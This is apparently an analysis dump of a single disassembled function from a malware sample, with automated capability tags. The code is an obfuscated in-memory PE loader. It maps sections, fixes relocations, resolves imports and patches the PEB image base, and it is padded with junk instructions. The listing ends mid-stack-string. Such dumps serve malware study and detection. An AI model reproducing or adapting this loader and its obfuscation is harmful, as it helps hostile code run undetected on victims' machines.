Function at 0x40b000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
sbb eax, 0x7b
add eax, 0xc7
ror esi, 0x22
not ebx
neg edx
rol edx, 0xac
inc eax
sub ebx, 0x86
not edi
bswap ebx
rcl edi, 0x62
or ebx, 0xb1
ror edi, 0x27
neg edi
imul esi
rol edx, 0xdf
rol edx, 0x8a
inc esi
sbb ebx, 0xd9
rcr edi, 0x6c
sbb edx, 0xcb
rcl esi, 0x7e
or eax, 0x1b
imul edi
bswap edi
sbb edx, 0x83
imul esi
rol eax, 0x71
neg esi
not eax
neg eax
rol edx, 0x6e
bswap edx
imul esi
mov edi, 0xb1
mov edi, 8
ror esi, 0x4a
inc edx
add edx, 0xd1
add edx, 0x30
add esi, 0xf0
imul ebx
or eax, 0x3a
mov edi, 0xb2
neg ebx
neg esi
or eax, 0x15
rcr edx, 0xe0
bswap ebx
rol edx, 0x4e
or edx, 0xe9
rcr edx, 0xb8
rcl eax, 0x7e
imul edi
rcl esi, 0x16
neg ebx
ror esi, 4
and edi, 0xdd
not eax
inc edi
mov edi, 0x47
inc esi
dec edx
rcl edx, 0x54
not edx
inc esi
mov ebx, 0x66
not edi
imul esi
and esi, 0xea
dec esi
rcr ebx, 0xde
neg eax
rcr ebx, 0xdd
dec edi
bswap edi
mov edx, 0x67
ror edi, 0x6f
mov edx, 0x3c
not edx
bswap esi
or edx, 0x6a
sub edx, 0x7e
dec edx
neg eax
mov edx, 0xb3
mov edi, 0x9b
mov edi, 0x68
rol esi, 0x60
rcl edi, 0x7f
rol ebx, 0x74
dec edi
rcl eax, 5
dec ebx
mov esi, 0xbf
rcl edi, 0x18
dec esi
dec edx
dec edx
imul ebx
neg esi
rcr ebx, 0x5e
dec edx
neg edx
bswap eax
or ebx, 0x47
or edx, 0xcb
dec ebx
bswap eax
ror esi, 0xc0
neg esi
not eax
bswap edi
dec ebx
rcr esi, 0xc3
add eax, 0xae
mov ebx, 0x90
rol edx, 0x55
not edi
inc edx
sbb ebx, 0x4b
imul edi
rol edx, 0x3c
inc edx
not eax
imul eax
not edx
neg ebx
rol esi, 0x93
or ebx, 0x4d
dec ebx
sbb eax, 0xc6
inc eax
not ebx
add edx, 0x24
rcl edi, 0x4b
not edi
neg eax
sbb ebx, 0xac
bswap edx
inc edi
dec edi
rcl edi, 0x5a
rol ebx, 0x36
imul edi
sub esi, 0xc8
not eax
not edi
rol edi, 0xf0
or edx, 0x30
rcl ebx, 0xf6
mov edx, 0x91
mov edi, 0x9c
mov edi, 0x50
ror eax, 0x18
sub edx, 0x7a
dec esi
bswap eax
bswap edx
add ebx, 0x42
inc edi
or ebx, 0x82
rcl edx, 0xa1
inc esi
bswap esi
neg edi
not edx
dec ebx
and ebx, 0xd2
dec esi
and eax, 0xd5
inc esi
imul edi
sub esi, 0xcd
dec edx
add esi, 0x2e
or edx, 0xee
ror esi, 0x8c
inc edi
imul ebx
rol edi, 0x50
or edx, 0xb8
inc edi
rcr ebx, 0x68
and eax, 0x4f
rol ebx, 0x9c
add esi, 0x19
bswap eax
not edi
rcr edi, 0xae
neg ebx
rcr ebx, 0x7c
bswap edx
neg eax
imul edx
rol eax, 0x35
neg esi
mov esi, 0xee
sbb esi, 0xac
neg ebx
push 0x4fe00
push 0x410008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x410008
rcl eax, 0xfc
neg edx
not ebx
imul esi
imul ebx
imul esi
inc ebx
sub edx, 1
imul esi
imul eax
rcr edi, 0x61
inc ebx
ror eax, 0x46
sbb ebx, 0xef
bswap edx
not esi
and esi, 0x74
mov edi, 0xd6
inc esi
ror edx, 0x4e
rol edi, 0x3b
dec eax
inc ebx
sbb ebx, 0x63
not esi
inc eax
imul edi
ror edi, 0xbf
add esi, 0xe7
or ebx, 0x62
bswap esi
ror esi, 0x4e
bswap esi
ror ebx, 3
and ebx, 0x92
dec edx
mov edi, 0xb2
not esi
not edi
mov edx, 0x84
rol edx, 0xa2
neg edx
sub eax, 0x35
sub eax, 0xc
sbb eax, 0x2c
ror esi, 0xc3
rol eax, 0xf9
neg eax
rcl eax, 0x7c
inc esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40b312
mov eax, 1
jmp 0x40c965
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40b345
mov dword [ebp - 0x110], 0
jmp 0x40b354
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40b39c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40b39c
mov eax, 2
jmp 0x40c965
sub edx, 0xfd
sub esi, 0
or edx, 9
and ebx, 0xb4
neg ebx
inc ebx
and eax, 0xf2
or esi, 0xeb
neg edx
inc edx
add edi, 0x7a
dec ebx
neg esi
rcr edi, 0x60
mov esi, 0xa4
neg edi
neg ebx
rcl esi, 0xa
rcl esi, 0x9f
bswap edx
rol ebx, 0x5d
not edi
rcl esi, 0xf1
sub eax, 0x1f
or esi, 0x4d
mov edi, 0xde
ror ebx, 0xd9
not ebx
not edi
dec esi
neg edx
dec ebx
add edi, 0x90
imul edi
sub edi, 0x3e
rcr ebx, 0xc3
rcr esi, 0x27
rol esi, 0x90
bswap edx
and edi, 0xaf
inc edi
inc edi
sbb eax, 0
not esi
and edx, 0x92
neg edx
mov ebx, 0x30
ror eax, 0xf8
bswap esi
mov edi, 0x40
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401230
add esp, 0xc
or eax, 0xbf
mov esi, 0x67
imul esi
bswap ebx
inc ebx
bswap edi
sub edx, 0xb6
rcl esi, 0x8a
not esi
imul esi
bswap edi
rcr edx, 0x46
or esi, 0x4d
rcr ebx, 0x14
add edi, 0x59
rcr edx, 0xcd
sub ebx, 0x5f
inc edi
rcr eax, 0x9d
bswap eax
add edx, 0x66
neg esi
ror ebx, 0x94
inc esi
not ebx
dec edx
bswap ebx
neg eax
and edx, 0xcb
rcl eax, 0xc0
bswap esi
inc ebx
rcl esi, 0x68
sub ebx, 0x35
ror edx, 0xa6
neg esi
dec edx
add ebx, 0x96
dec ebx
rcl edx, 0xa9
bswap edx
neg esi
not edx
bswap edx
neg edx
not edx
not eax
rol edi, 0x37
and edx, 0xda
inc edi
ror edx, 0x77
bswap esi
rcl eax, 0x8c
rol esi, 0xd2
sbb edx, 2
dec ebx
inc esi
add edi, 0xb5
neg ebx
neg ebx
or eax, 0x89
ror edi, 0x56
not edi
sub eax, 0xb5
bswap edx
rcl ebx, 0x78
mov eax, 0x73
sub esi, 0xe0
rcl eax, 0x18
bswap edx
dec esi
inc esi
not edx
sub esi, 0x2c
rcl edx, 0x2a
imul esi
bswap edx
and edx, 0x71
or edx, 0x2d
ror eax, 0x9c
and ebx, 0x33
bswap esi
bswap edx
sub esi, 0x88
inc ebx
or edi, 0xe1
inc ebx
add esi, 0xa9
dec ebx
ror esi, 0x13
rcr eax, 2
neg ebx
add edx, 0xdc
mov ebx, 0x18
imul edi
not edi
or ebx, 0x7b
not eax
ror edi, 0xcd
rcl ebx, 0x7d
rcr edi, 0xf2
ror eax, 0x86
rcr edi, 0x40
rcr edx, 0x9e
and edi, 0xec
not edi
bswap edx
not edi
rol edi, 0xf0
dec edi
and edi, 0x2a
not eax
ror edx, 0xd
sbb ebx, 0x6d
neg esi
bswap esi
not ebx
mov esi, 0x45
or ebx, 0xf6
imul edx
and edx, 0x1d
bswap esi
bswap eax
sbb edi, 0x1c
and edx, 0x4d
or edx, 0xd9
neg edi
or ebx, 0x69
neg esi
neg edi
neg edx
dec eax
inc ebx
rcl edx, 0x15
sbb edi, 0x9c
rol ebx, 0x61
not ebx
rcl edi, 4
bswap edi
sbb eax, 0x53
imul ebx
bswap ebx
and ebx, 0x29
ror esi, 0x3a
dec eax
neg eax
mov ebx, 0xd6
sbb edx, 0x5b
rcl ebx, 0xbf
rcl ebx, 0xb7
bswap esi
dec edx
or eax, 0xcf
bswap eax
inc edi
add edx, 0x6e
and edx, 0xd4
neg esi
bswap ebx
inc esi
inc edi
and edx, 0x28
sbb edx, 0x48
or ebx, 0x33
neg edi
inc eax
ror edi, 0xef
ror esi, 0xdd
imul esi
sub ebx, 0xc1
ror ebx, 0x8f
imul eax
inc esi
mov eax, 0xed
not eax
rcl ebx, 0x9e
and edi, 0x91
sub ebx, 0xc0
inc eax
mov ebx, 0x6c
neg ebx
mov edi, 0x73
inc edx
add esi, 0x4a
neg edx
dec edx
rcr edi, 0x91
ror ebx, 0xe3
not edi
and ebx, 0x92
neg edx
neg eax
add ebx, 0x6a
inc eax
mov esi, 0xa4
rcr edi, 7
bswap ebx
inc edi
dec edx
imul edx
imul esi
not edi
rol ebx, 0x5d
neg esi
rcr eax, 0xa8
dec edx
bswap esi
inc eax
neg edi
bswap ebx
rol edi, 0xa8
inc esi
bswap eax
mov eax, 0x5d
dec eax
rcl edi, 0xb8
rcl edi, 0x53
and edx, 0x3f
rcl edi, 0x9c
inc ebx
mov eax, 0xd9
sbb edi, 0x2c
add edx, 0xff
not eax
rcl eax, 0x85
rcl edx, 0xc7
rcl eax, 0xfd
imul esi
neg esi
imul ebx
imul edi
ror edi, 0x8b
or ebx, 0xdf
rcl esi, 0x69
neg ebx
dec edi
dec esi
rcr eax, 0xc1
imul esi
bswap edi
sub edi, 0x1d
dec ebx
rol edx, 0x2e
rcr esi, 0x6d
rcr ebx, 0x3f
neg ebx
bswap ebx
dec ebx
sbb esi, 0x4d
not edx
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40b722
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40b783
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0xc
jmp 0x40b713
inc edi
neg edx
or edx, 0xea
sbb esi, 0x4c
and ebx, 0x2b
not esi
sub esi, 0x99
sbb ebx, 6
rol ebx, 0x16
ror eax, 0x63
dec eax
neg esi
bswap edi
inc edi
inc ebx
and esi, 0x51
rol esi, 0x7b
mov esi, 0xf4
rol ebx, 0x39
add edi, 0x41
sub eax, 0x80
dec esi
mov edi, 0x79
add ebx, 0xe2
or esi, 0xcd
add edx, 0xbf
inc edx
rcl ebx, 0x4b
or ebx, 0
dec esi
add edx, 0xe7
bswap eax
imul edi
imul eax
and eax, 0xd
rcr eax, 0xd5
not eax
bswap edx
add edi, 0x47
ror ebx, 0xde
not ebx
ror eax, 0x23
imul edx
mov ebx, pe_nt_image_headers32
rol eax, 0xef
not edx
add edx, 0x26
dec edx
rcl eax, 0xc2
mov ebx, 0xcb
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40b94e
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40b94e
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40b8c3
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40b928
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40b917
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40b8b4
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40b85f
rol ebx, 0x7c
or edi, 0xea
bswap esi
neg eax
neg edi
ror edx, 0x36
neg edx
rcr edi, 0xf1
rcr eax, 0x42
sub edi, 0x9b
neg edi
add edx, 0x5f
inc esi
bswap ebx
sub edx, 0x9b
not edi
imul esi
add eax, 0xe4
ror edi, 0x9c
rol esi, 0xfa
bswap esi
neg eax
and edi, 0xa7
sbb edx, 0xdc
inc ebx
sub edi, 0xd3
bswap eax
not edx
bswap edi
sbb edi, 0x57
inc ebx
bswap esi
sub eax, 0x3c
sbb edx, 0x6c
add edi, 0x8e
bswap esi
inc esi
ror ebx, 0x41
not esi
ror eax, 0xc8
mov edi, 0x66
rcr esi, 0xfc
imul edx
ror edi, 0x14
or edi, 0x45
or edi, 0xc1
not edi
rcr ebx, 0x11
rcr edi, 0xd3
inc edx
rcr esi, 0xda
inc esi
and ebx, 0x5b
rcl eax, 0xf7
or edi, 0xb0
or eax, 0xa0
neg eax
not edx
sbb edx, 0x2d
bswap edi
neg edi
rol esi, 0xd2
bswap edi
sbb ebx, 2
ror eax, 0x25
imul esi
not edi
rcl ebx, 0x59
bswap ebx
sub ebx, 0x32
inc esi
rcl ebx, 0x58
and edi, 0xc8
and edx, 0xa6
sbb edx, 0x36
mov esi, 0x66
neg eax
mov ebx, 0x93
rcr esi, 0xe9
dec eax
sub edx, 0xc1
mov esi, 0x74
bswap ebx
rol edx, 0xbe
imul eax
dec eax
and esi, 0xef
or esi, 0xec
bswap esi
inc ebx
rol edx, 0x3b
mov ebx, 0x96
rcr ebx, 0xbd
mov eax, 0xb8
rcr edx, 0xa2
or ebx, 0
dec edi
and edi, 0x2f
neg esi
or edx, 0x6c
mov ebx, 0x63
and edi, 0x34
not edx
sbb esi, 0x29
ror esi, 0xad
not edi
sub ebx, 0xeb
mov esi, 0x76
inc edx
sbb edx, 0x4b
neg esi
dec edi
not ebx
sbb ebx, 0x35
dec eax
and ebx, 0x4a
ror edi, 0xcb
rcr ebx, 0x7d
add esi, 0xc7
add edi, 0x52
rol eax, 1
not eax
bswap edx
and ebx, 0x6e
sub ebx, 0xcc
sbb edi, 0xe3
rol esi, 0x12
dec eax
bswap edx
inc esi
sub esi, 0xde
neg edx
sbb eax, 0x36
neg eax
not eax
or esi, 0x16
rcr edi, 0x2b
mov edi, 0x17
dec esi
or esi, 0xeb
sbb esi, 0xea
not esi
and esi, 0x88
bswap eax
rol ebx, 0x6f
sub eax, 0xab
dec eax
neg eax
neg ebx
rcl edi, 0xe7
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40bb4b
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40bc89
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40bba2
jmp 0x40bb3c
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40bbdc
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40bc84
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40bc57
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40bbcd
jmp 0x40bb3c
mov dword [ebp - 0x104], 0
jmp 0x40bca4
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40bdc2
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd12
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd12
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40bd12
mov dword [ebp - 0x108], 0x40
jmp 0x40bd79
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd3a
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd3a
mov dword [ebp - 0x108], 4
jmp 0x40bd79
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40bd61
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40bd61
mov dword [ebp - 0x108], 0x20
jmp 0x40bd79
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40bd79
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401250
add esp, 0x10
jmp 0x40bc95
rcl eax, 0xbb
inc eax
bswap eax
ror edi, 0xc0
mov edx, 0x5e
dec edi
neg ebx
add esi, 0xf5
neg edx
imul eax
rol ebx, 0x59
bswap ebx
imul ebx
imul edi
rol esi, 0x4e
neg edx
sbb eax, 0x59
rol edx, 6
not ebx
sub esi, 0x6a
sbb eax, 0x8f
add edi, 0xeb
dec esi
rol edi, 0x1b
ror ebx, 0x35
rcl edi, 0xb8
neg ebx
mov esi, 0x6e
bswap esi
sbb ebx, 0xba
neg edi
inc edx
bswap ebx
neg edx
dec ebx
inc edi
neg edi
rol edi, 0xc6
rcr esi, 0x22
not eax
inc ebx
sbb eax, 0xf4
neg eax
sbb eax, 0xd1
bswap edi
rol edi, 0xb
rcl ebx, 0x71
dec ebx
sub eax, 0x32
imul edx
sbb edi, 0x97
dec edx
not edi
sbb edx, 0xde
neg eax
or esi, 0x41
or esi, 0x33
or esi, 0xa8
sbb edx, 0x5b
rol ebx, 0x96
sub eax, 0x47
imul eax
dec eax
neg ebx
sbb ebx, 9
or esi, 0xcc
not edi
not eax
mov edi, 0x44
inc edi
dec edx
mov edi, 0xe7
imul edx
not eax
or edi, 0xbd
imul ebx
add edi, 0x44
ror edx, 0x42
sub ebx, 0x8f
sbb eax, 0x69
ror edi, 0xc6
or eax, 0x6a
sub esi, 0x39
rol eax, 0xf
sub ebx, 0xe
neg ebx
not esi
bswap ebx
mov eax, 4
and esi, 0x2d
and eax, 0xb5
bswap eax
mov edi, 0x4f
rcr ebx, 0x25
or edi, 0xaf
sub edi, 0xd9
imul esi
not edi
imul eax
bswap edi
neg ebx
bswap edi
inc edi
ror ebx, 0x89
not eax
rol edx, 0x85
rcl esi, 0xf0
neg eax
rol edx, 0x41
sub ebx, 0xc3
rcr edi, 0xa5
dec edx
add esi, 0
neg edi
dec esi
or ebx, 0xa8
rcr edi, 0x32
neg esi
or ebx, 0x77
inc esi
inc ebx
ror edi, 0x11
sbb edi, 0x9b
rcr esi, 0x45
sub ebx, 0xf
imul edi
neg edi
not edx
not edi
and ebx, 0x2d
or ebx, 0x53
ror edi, 0x81
dec esi
rcr edx, 0xbb
bswap edx
not edi
not eax
not edx
not edx
bswap ebx
neg edi
add eax, 0xa0
rol eax, 0x72
neg edx
bswap ebx
dec edx
dec edi
neg ebx
rcl edx, 0xba
sbb ebx, 0xec
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
and ebx, 0x3d
not ebx
neg esi
add esi, 0x4a
bswap edx
mov ebx, 0x4f
dec ebx
imul edx
mov edx, 0x8e
ror eax, 0xc1
neg ebx
add eax, 0x7c
imul eax
neg edx
bswap edi
not ebx
imul ebx
dec edx
imul ebx
mov edx, 0x7e
neg edx
bswap edx
sbb esi, 0xf8
rol edi, 0x56
dec edx
mov edx, 0x44
and eax, 0x96
dec esi
imul edx
and ebx, 0x4b
sub eax, 0x99
neg edi
add edx, 0xd0
sub esi, 0x94
rcr edi, 0x95
sbb edi, 0x98
sbb edx, 0x61
sbb edx, 0xe8
not edi
not edi
bswap esi
rcr ebx, 0xfb
ror edx, 0x6a
bswap edi
or esi, 0xc5
rol eax, 0x60
neg ebx
ror edx, 0xaa
sbb edx, 6
neg eax
imul esi
and eax, 0x4e
add esi, 0x19
add edi, 0x75
dec ebx
imul ebx
imul esi
neg esi
imul ebx
not ebx
or eax, 0x2b
bswap ebx
add edx, 0xe
mov esi, 0x9d
bswap ebx
rol esi, 1
rcr edi, 0x44
ror edx, 0xf
bswap ebx
ror edi, 0x97
not edx
inc eax
dec edi
rol ebx, 0x37
rcl edi, 0x57
imul eax
bswap eax
mov edx, 0x45
ror esi, 0xa3
rcl esi, 0x5e
or edi, 0x8e
dec esi
not eax
or eax, 0x46
sbb edi, 0x42
rcr ebx, 0x74
rol edx, 0xd5
neg eax
imul edx
mov edi, 0xb2
rcr edx, 0xec
ror ebx, 0xc
bswap esi
rcl ebx, 0x21
bswap edx
ror eax, 0xa2
dec ebx
bswap edx
or ebx, 0x4b
inc edx
imul edi
neg edx
or edx, 0xec
not edi
mov ebx, 0xe6
and eax, 0xa9
rol esi, 0xd6
rcl edx, 0xa0
inc eax
bswap ebx
bswap edx
mov edx, 3
neg edi
mov ebx, 0xdf
mov ebx, 0x19
imul edi
dec eax
mov edx, 7
bswap eax
neg edx
not edi
and edi, 0x20
mov eax, 0x5a
bswap eax
imul ebx
imul ebx
not ebx
add edx, 0x35
bswap esi
mov edx, 0xdf
ror esi, 0x78
imul edi
sub eax, 0x9d
neg edi
bswap edx
rcr edi, 0xcd
rcr edi, 0x2d
rcl edi, 0xce
sbb eax, 0x99
bswap eax
or edx, 0x12
ror edi, 0xbf
sbb esi, 0x89
ror edi, 0x2f
not edi
rcr edx, 0
bswap ebx
sub eax, 0x57
rol edi, 0x6a
sub edi, 5
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
rol ebx, 0x93
not edi
or edi, 0x9f
mov edi, 0xf2
mov ebx, 0x47
sub eax, 0x44
mov eax, 0xe3
or edx, 0xbe
add esi, 0x93
inc ebx
rcl edi, 0x76
inc edi
dec ebx
neg edi
imul ebx
rcr ebx, 0x9d
neg esi
dec edi
and edx, 0xac
rcl edi, 0x7e
ror edi, 0x5a
mov edx, 0x6f
sub edx, 0xbb
neg esi
rcr esi, 0xb3
rcr ebx, 0x32
inc edi
sub esi, 0x43
mov edi, 0x5d
rol ebx, 0x62
inc eax
inc edx
ror eax, 0xb0
inc edx
and esi, 0x41
rcl edi, 0xb
inc eax
dec ebx
mov esi, 0xa4
rcl edi, 0x9c
add edi, 0xbd
rol edx, 0xcd
inc eax
inc ebx
not ebx
rcr edi, 0x44
rcl edx, 0x53
rcr edx, 0x9d
add edi, 0xa9
dec ebx
sub edi, 0x45
inc edi
inc edi
not eax
rcl eax, 0x5a
neg esi
imul edx
neg edi
bswap esi
imul edi
imul ebx
imul ebx
imul edx
dec eax
sbb ebx, 0xe8
imul eax
not ebx
sbb edi, 0xcb
not eax
neg edi
imul edi
sbb eax, 0x4f
rcr edi, 0x63
bswap edx
add edi, 0x32
and edx, 0x32
ror ebx, 0xc7
sub eax, 0x3a
dec esi
bswap eax
inc ebx
or edi, 0x54
add eax, 0x46
bswap eax
sbb ebx, 7
inc eax
ror eax, 0xd
imul esi
bswap ebx
imul edi
rcl esi, 0x1a
dec eax
rcl edi, 0x31
mov eax, 0xd4
neg eax
or esi, 0x9e
dec esi
neg esi
sbb esi, 0xdf
not edi
rol eax, 0x96
imul eax
sbb ebx, 0x4c
not edx
and edx, 0xfb
neg esi
neg edi
ror ebx, 0xa0
sub esi, 0x14
and ebx, 0xec
imul eax
bswap eax
not esi
inc edi
neg ebx
inc ebx
or edx, 0xd8
mov edi, 0x63
dec esi
rcr esi, 0xc1
bswap esi
sbb edi, 0x8a
sub edi, 0xc2
not edx
dec edi
rol edi, 0x41
neg esi
rol edx, 0x21
sbb edi, 0x11
rcl eax, 0xc1
and ebx, 0x9f
dec ebx
rcr ebx, 5
bswap ebx
ror edi, 0xd3
rcr edi, 0x27
bswap edi
add ebx, 0x30
ror ebx, 0x25
imul eax
inc ebx
neg ebx
not edi
inc edx
rcl edi, 0x69
neg edi
not eax
inc eax
imul eax
inc eax
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
